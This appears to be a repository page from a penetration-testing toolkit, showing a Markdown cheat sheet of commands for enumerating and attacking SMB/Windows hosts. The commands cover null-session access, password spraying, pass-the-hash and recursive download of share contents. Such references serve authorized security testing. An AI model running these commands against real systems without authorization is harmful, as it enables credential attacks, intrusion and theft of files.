repositories

voidwalker.py

Penetration testing arsenal builder and workspace manager for macOS and Linux

clonegit clone https://git.daemon-sec.xyz/voidwalker.py.git
smb.mdMarkdown35 lines962 Bsource raw download

SMB / Windows enum#

Enumerate#

nmap --script "smb-enum*,smb-os-discovery,smb-security-mode" -p445 $IP
enum4linux-ng -A $IP
nxc smb $IP                          # netexec (crackmapexec successor)
nxc smb $IP -u '' -p '' --shares     # null session
nxc smb $IP -u guest -p '' --shares

List / mount shares#

smbclient -L //$IP -N                 # null list
smbclient //$IP/share -N              # connect (anonymous)
smbclient //$IP/share -U 'user%pass'
mount -t cifs //$IP/share /mnt/s -o username=user,password=pass

Spray / auth with creds#

nxc smb $IP -u users.txt -p passwords.txt --continue-on-success
nxc smb $IP -u user -p pass --shares --sessions --users --groups
nxc smb $IP -u user -H <NTLM_HASH>    # pass-the-hash

RPC / users#

rpcclient -U '' -N $IP                 # then: enumdomusers, querydispinfo

Grab files recursively#

smbclient //$IP/share -N -c 'recurse ON; prompt OFF; mget *'